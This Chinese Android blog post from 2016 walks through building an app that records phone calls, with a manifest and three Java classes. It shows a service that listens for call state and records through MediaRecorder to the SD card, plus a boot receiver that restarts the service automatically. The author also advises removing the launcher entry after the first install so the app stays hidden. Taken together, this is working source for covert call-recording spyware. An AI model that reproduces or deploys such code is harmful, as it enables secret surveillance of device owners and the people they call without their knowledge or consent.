您的位置:首页 > 移动开发 > Android开发

Android电话事件案例

2016-02-14 15:55 489 查看
[1]在第一次部署的时候需要有界面,可以部署两次,第二次部署的时候则不再需要,可以去掉intent-filter,增强隐蔽性



[2]部署之后,我们重启手机,可以看到监听服务已经自动启动起来了



[3]电话打入,我们的服务程序已经检测到了电话的呼入,准备录音



[4]当接听电话时,录音开始也同步开启



[5]挂断电话的时候,录音结束,在我们定义的系统目录上已经保存好了音频文件



//manifest 配置组件和添加权限

<?xml version="1.0" encoding="utf-8"?>
<manifest package="jacky.phonelistener"
xmlns:android="http://schemas.android.com/apk/res/android">

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<!-- 第一次部署需要界面,第二次部署的时候不需要界面,可以注销intent-filter,-->
<!--<intent-filter>-->
<!--<action android:name="android.intent.action.MAIN"/>-->

<!--<category android:name="android.intent.category.LAUNCHER"/>-->
<!--</intent-filter>-->
</activity>
<!-- 配置一个服务 -->
<service android:name=".PhoneServer"></service>
<!-- 配置广播接受者-->
<receiver android:name=".BootReceiver">
<intent-filter>
<!-- 重启的广播事件-->
<action android:name="android.intent.action.BOOT_COMPLETED"></action>
</intent-filter>
</receiver>
</application>
<!-- 加上读取电话状态的权限 -->
<uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" ></uses-permission>
<uses-permission android:name="android.permission.RECORD_AUDIO" ></uses-permission>
<!-- 接收重启广播的权限-->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>

</manifest>


//代码部分由三个类构成

//第一个MainActivity

package jacky.phonelistener;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}

}


//第二个PhoneServer,服务的配置,进行电话状态的监听,录音,保存等功能

需要的配置:

<!-- 配置一个服务 -->
<service android:name=".PhoneServer"></service>


需要的权限:

<!-- 加上读取电话状态的权限 -->
<uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" ></uses-permission>
<uses-permission android:name="android.permission.RECORD_AUDIO" ></uses-permission>


代码:

package jacky.phonelistener;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.support.annotation.Nullable;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

import java.io.IOException;

/**
* 作者:Jacky
* 邮箱:550997728@qq.com
* 时间:2016/2/14 13:33
*/
public class PhoneServer extends Service {
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}

@Override
public void onCreate() {
TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
tm.listen(new MyPhoneStateListener(),PhoneStateListener.LISTEN_CALL_STATE);
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
return super.onStartCommand(intent, flags, startId);
}

@Override
public void onDestroy() {
super.onDestroy();
}

private class MyPhoneStateListener extends PhoneStateListener{

private MediaRecorder recorder;

@Override
//当电话状态改变是调用
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://电话空闲状态
if (recorder != null) {
//关闭录音
recorder.stop();
recorder.reset();   // You can reuse the object by going back to setAudioSource() step
recorder.release(); // Now the object cannot be reused
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK://电话接听状态
System.out.println("开始录音!");
//开始录音
recorder.start();   // Recording is now started
break;
case TelephonyManager.CALL_STATE_RINGING://电话铃响状态
System.out.println("创建一个录音机!");
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile("/mnt/sdcard/tall.3gp");
try {
recorder.prepare();
} catch (IOException e) {
e.printStackTrace();
}
break;
}
}
}
}


//第三个BroadcastReceiver,响应开机广播事件,实现开机启动Server,开机自动监听

需要的配置:

<receiver android:name=".BootReceiver">
<intent-filter>
<!-- 重启的广播事件-->
<action android:name="android.intent.action.BOOT_COMPLETED"></action>
</intent-filter>
</receiver>


需要的权限:

<!-- 接收重启广播的权限-->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>


代码:

package jacky.phonelistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

/**
* 作者:Jacky
* 邮箱:550997728@qq.com
* 时间:2016/2/14 14:38
*/
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
//开启服务
Intent intent1 = new Intent(context,PhoneServer.class);
context.startService(intent1);
}
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  android